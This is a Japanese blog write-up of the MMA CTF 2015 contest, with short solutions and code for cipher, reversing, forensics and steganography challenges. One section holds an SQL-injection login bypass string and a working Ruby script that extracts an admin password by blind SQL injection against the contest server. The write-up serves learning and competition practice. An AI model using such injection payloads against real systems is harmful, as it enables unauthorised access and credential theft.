LoginSignup
0
0

More than 5 years have passed since last update.

MMA CTF 1st 2015 Writeup

Last updated at Posted at 2015-09-07

チームnicklegrで個人参加。
420点で140位でした。(672チーム中)

簡単な問題しか解けてないですが、習慣づけるためにもWriteupを書いてみます。

Welcome!!

日本語の読解力を問う問題。

Pattern Lock (Flag 1)

9! = 362880なので総当たり可能。

require "pp"

# 0 1 2
# 3 4 5
# 6 7 8

# n -> mに行くならREQ_PASS[n][m]を通過済みであること
REQ_PASS = [
  #   0    1    2    3    4    5    6    7    8
  [ nil, nil,   1, nil, nil, nil,   3, nil,   4 ], # 0 -> m
  [ nil, nil, nil, nil, nil, nil, nil,   4, nil ], # 1 -> m
  [   1, nil, nil, nil, nil, nil,   4, nil,   5 ], # 2 -> m
  [ nil, nil, nil, nil, nil,   4, nil, nil, nil ], # 3 -> m
  [ nil, nil, nil, nil, nil, nil, nil, nil, nil ], # 4 -> m
  [ nil, nil, nil,   4, nil, nil, nil, nil, nil ], # 5 -> m
  [   3, nil,   4, nil, nil, nil, nil, nil,   7 ], # 6 -> m
  [ nil,   4, nil, nil, nil, nil, nil, nil, nil ], # 7 -> m
  [   4, nil,   5, nil, nil, nil,   7, nil, nil ], # 8 -> m
]

def bit_set?(mask, bit)
  (mask & (1 << bit)) != 0
end

def bit_set(mask, bit)
  mask | (1 << bit)
end

def bit_clear(mask, bit)
  mask & ~(1 << bit)
end

def solve_in(route, route_mask, max_len)
  return 1 if route.size == max_len
  cur = route.last

  patterns = 0
  for i in 0..8
    next if bit_set?(route_mask, i)

    if REQ_PASS[cur][i]
      next unless bit_set?(route_mask, REQ_PASS[cur][i])
    end

    route << i
    route_mask = bit_set(route_mask, i)

    patterns += solve_in(route, route_mask, max_len)

    route_mask = bit_clear(route_mask, i)
    route.pop
  end
  patterns
end

def solve
  patterns = 0
  for max_len in 4..9
    for start in 0..8
      route = [ start ]
      route_mask = bit_set(0, start)
      patterns += solve_in(route, route_mask, max_len)
    end
  end
  patterns
end

puts solve()

ちなみに、ググれば出てくるらしいです…

Smart Cipher System (Flag 1)

AAA とか BBB とか入力すると、ASCIIコードにいくつか足してるだけらしい。

arr = %w|36 36 2a 64 4b 4b 4a 21 1e 4b 1f 20 1f 21 4d 4b 1b 1d 19 4f 21 4c 1d 4a 4e 1c 4c 1b 22 4f 22 22 1b 21 4c 20 1d 4f 1f 4c 4a 19 22 1a 66|

puts arr.map{ |e|
  diff = 0x61 - 0x4a
  (e.to_i(16) + diff).chr
}.join

Smart Cipher System (Flag 2)

適当に文字列を入れたり文字を入れ替えたりすると、平文と暗号文が1文字ずつ対応していることがわかる。(換字式暗号)
なので、すべての文字を変換させてテーブルを作り、逆変換する。

arr = %w|e3 e3 83 21 33 96 23 43 ef 9a 9a 05 18 c7 23 07 07 07 c7 9a 04 33 23 07 23 ef 12 c7 04 96 43 23 23 18 04 04 05 c7 fb 18 96 43 ef 43 ff|

plain = ""
enc = []
for i in 32..126
  plain += i.chr
  enc << i
end
puts plain

# plainをWebに投げてencを得る

enc = %w|b7 fd 93 26 36 3f f7 cc 34 a5 e5 f1 71 d8 31 15 04 c7 23 c3 18 96 05 9a 07 12 80 e2 eb 27 b2 75 09 83 2c 1a 1b 6e 5a a0 52 3b d6 b3 29 e3 2f 84 53 d1 00 ed 20 fc b1 5b 6a cb be 39 4a 4c 58 cf d0 ef aa fb 43 4d 33 85 45 f9 02 7f 50 3c 9f a8 51 a3 40 8f 92 9d 38 f5 bc b6 da 21 10 ff f3|

ans = ""
arr.each do |e|
  i = enc.index(e)
  ans += plain[i]
end

puts ans

Login as admin!

user admin pass ' OR 1=1-- を入れるとログインできる。
求めるのはadminのパスワードなので、Blind SQLiする。

require 'net/http'
require 'uri'
require 'pp'
require 'pry'
# require 'pry-nav'

$http = Net::HTTP.new('arrive.chal.mmactf.link', 80)
$path = '/login.cgi'

def check(index, char)
  # http://www.atmarkit.co.jp/ait/articles/0608/26/news014_2.html
  vector = "' or substr((select password from user where user='admin'),#{index},1)='#{char}' --"

  # query = "username=admin&password=' or '1'='1' --"
  query = "username=admin&password=#{vector}"
  puts query

  response = $http.post($path, query)
  # puts response.body
  sleep 2

  raise "code = #{response.code}\n#{response.body}" if response.code != "200" && response.code != "302"
  response.code == "302"
end

result = ""

for i in 1..25
  found = false

  # chars = ('a'..'z').to_a + ('A'..'Z').to_a + (0..9).to_a + ["{", "}"]

  # chars = (32..126).map do |e| e.chr end
  # chars -= ["&"]

  chars = ('a'..'z').to_a + ["{", "}", "_"]
  # pp chars

  for c in chars
    if check(i, c)
      puts "index #{i} is #{c}"
      result += c
      found = true
      break
    end
  end

  if !found
    puts "finished"
    puts "flag: #{result}"
    break
  end
end

某所で全く同じ問題を解いたことがあるので流用。
httpのエラーチェックが甘くてフラグが化けたり、_を文字リストに入れ忘れたりして地味に手こずった。

Splitted

Wiresharkで開くと、1個のファイルをPartial Contentで分割してダウンロードしている。
10個くらいだったので、手作業でバイナリエディタでくっつけた。

How to use?

% file howtouse 
howtouse: PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit

目grepすると、fnhowtouse@@YAHH@Z。この関数を呼べばいいらしい。
@@YAHH@Zでググると、シグネチャはint fnhowtouse(int num)でよさそう。

HMODULE hModule = ::LoadLibrary("howtouse.dll");
typedef int (*GetNumberFunc)(int);
GetNumberFunc fun = (GetNumberFunc)::GetProcAddress("fnhowtouse");
int number = fun();

NULLが返ってくる。うーん。

> dumpbin.exe /exports howtouse.dll
...
    ordinal hint RVA      name

          1    0 00001130 ?fnhowtouse@@YAHH@Z

そういえばordinalとかあったな。これで呼べないか。

#include "stdafx.h"

int _tmain(int argc, _TCHAR* argv[])
{
    HMODULE hModule = ::LoadLibraryA("howtouse.dll");
    typedef int (*GetNumberFunc)(int);
    GetNumberFunc fun = (GetNumberFunc)::GetProcAddress(hModule, MAKEINTRESOURCEA(1)); // "fnhowtouse"

    for(int i=0;i<45;i++)
    {
        int number = fun(i);
        printf("%c", (char)number);
    }

    printf("\n");

    return 0;
}

できた。ちなみに45以上を渡すとメモリ破壊するらしい。

This program cannot be run in DOS mode.

$ xxd -g 1 cannotberun
...
0000040: 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 49 73  ........!..L.!Is
0000050: 20 74 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61   this program ca
0000060: 6e 27 74 20 62 65 20 72 75 6e 20 6f 6e 20 44 4f  n't be run on DO
0000070: 53 3f 0d 0a 0d 0a 24 24 24 00 00 00 00 00 00 00  S?....$$$.......
...

わらた。PEヘッダをいじってあるらしい。
Stirlingのビットイメージで見ると、0000400から.textっぽい(x86の可変長命令な感じ)ので、そこを切り出してHopperに投げたらrawで逆アセンブルしてくれた。

             EntryPoint:
00000000         push       0x1
00000002         push       0x10
00000004         call       dword [ds:0x4020a4]
0000000a         push       eax
0000000b         push       0x4020f4
00000010         mov        byte [ds:eax], 0x37
00000013         mov        byte [ds:eax+0x1], 0x61
00000017         mov        byte [ds:eax+0x2], 0x33
0000001b         mov        byte [ds:eax+0x3], 0x35
0000001f         mov        byte [ds:eax+0x4], 0x68
00000023         mov        byte [ds:eax+0x5], 0x78
00000027         mov        byte [ds:eax+0x6], 0x62
0000002b         mov        byte [ds:eax+0x7], 0x39
0000002f         mov        byte [ds:eax+0x8], 0x71
00000033         mov        byte [ds:eax+0x9], 0x38
00000037         mov        byte [ds:eax+0xa], 0x31
0000003b         mov        byte [ds:eax+0xb], 0x66
0000003f         mov        byte [ds:eax+0xc], 0x73
00000043         mov        byte [ds:eax+0xd], 0x67
00000047         mov        byte [ds:eax+0xe], 0x36
0000004b         call       dword [ds:0x40209c]
00000051         add        esp, 0x10
00000054         or         eax, 0xffffffff
00000057         ret        
                        ; endp

なんて素直。

arr = [ 0x37, 0x61, 0x33, 0x35, 0x68, 0x78, 0x62, 0x39, 0x71, 0x38, 0x31, 0x66, 0x73, 0x67, 0x36, ]

arr.map! do |e|
  e.chr
end

puts arr.join()

stream...

Wiresharkに投げ込む。GET /のストリームを見ると、

User-Agent: NSPlayer/9.0.0.4503
...
Content-Type: application/x-mms-framed

ググると、Windows Media Playerのストリーミング形式らしい。

ストリームをそのまま流すhttpサーバを立てて、Windows Media Playerで接続してもいけると思う。

Nagoya Castle

stegsolve.jarに読ませたら出てきた。
各ピクセルのLSBだけ取り出すと画像でフラグが入ってるみたい。

リンク

他の方のWriteup

運営サイド

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0